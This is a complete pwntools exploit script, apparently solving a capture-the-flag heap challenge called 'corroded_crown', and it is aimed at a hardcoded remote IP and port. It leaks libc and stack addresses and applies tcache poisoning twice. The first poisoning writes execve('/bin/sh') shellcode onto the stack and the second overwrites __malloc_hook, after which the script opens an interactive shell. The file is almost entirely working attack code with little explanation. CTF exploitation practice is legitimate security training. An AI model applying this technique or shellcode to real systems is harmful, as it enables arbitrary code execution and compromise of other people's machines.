#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 127.0.0.1 --port 8000 --no-auto ./corroded_crown
from pwn import *
import os
if 'TMUX' in os.environ:
    context.terminal = ['tmux', 'splitw', '-h']

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or './corroded_crown')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '154.57.164.83'
port = int(args.PORT or 31457)


def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
#breakrva 0x1276
#breakrva 0x130d
#breakrva 0x1664
breakrva 0x1480
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:      Full RELRO
# Stack:      Canary found
# NX:         NX unknown - GNU_STACK missing
# PIE:        PIE enabled
# Stack:      Executable
# RWX:        Has RWX segments
# RUNPATH:    b'./glibc/'
# Stripped:   No

def forge_relic(idx, size):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'(index): ', str(idx).encode())
    io.sendlineafter(b'(size): ', str(size).encode())

def inscribe_relic(idx, data):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'(index): ', str(idx).encode())
    io.sendlineafter(b'bytes):\n', data)

def destroy_relic(idx):
    io.sendlineafter(b'> ', b'4')
    io.sendlineafter(b'(index): ', str(idx).encode())

def inspect_relic(idx):
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b'(index): ', str(idx).encode())
    ret = io.recvuntil(b'\n\n')
    return ret.split(b': ')[1].rstrip()

io = start()

for i in range(8):
    forge_relic(i, 0x290)

for i in range(7, -1, -1):
    destroy_relic(i)

ret = inspect_relic(0)
leaked_libc_addr = u64(ret[:8])
log.info(f'Leaked libc address: {hex(leaked_libc_addr)}')

libc_exe = ELF('./glibc/libc.so.6', checksec=False)
libc_base = leaked_libc_addr - 2018272        # offset found with gdb
log.info(f'libc base address: {hex(libc_base)}')
libc_exe.address = libc_base

# leak a stack address
environ_addr = libc_exe.symbols['environ']
log.info(f'Environ address: {hex(environ_addr)}')

inscribe_relic(1, p64(environ_addr))

forge_relic(8, 0x290)
forge_relic(9, 0x290)

ret = inspect_relic(9)
leaked_stack_addr = u64(ret[:8])
log.info(f'Leaked stack address: {hex(leaked_stack_addr)}')

# tcache poisoning 1: write a shellcode on the stack
forge_relic(10, 0x30)
forge_relic(11, 0x30)
destroy_relic(11)
destroy_relic(10)
inscribe_relic(10, p64(leaked_stack_addr))
forge_relic(12, 0x30)
forge_relic(13, 0x30)
shellcode = bytes.fromhex('4831c05048bf2f2f62696e2f7368574889e74831f64831d2b03b0f05')
inscribe_relic(13, shellcode)

# tcache poisoning 2: overwrite __malloc_hook with the address of our shellcode
malloc_hook_addr = libc_exe.symbols['__malloc_hook']
log.info(f'__malloc_hook address: {hex(malloc_hook_addr)}')
forge_relic(14, 0x40)
forge_relic(15, 0x40)
destroy_relic(15)
destroy_relic(14)
inscribe_relic(14, p64(libc_exe.symbols['__malloc_hook']))
forge_relic(16, 0x40)
forge_relic(17, 0x40)
inscribe_relic(17, p64(leaked_stack_addr))

# trigger shellcode
forge_relic(18, 0x10)

io.interactive()
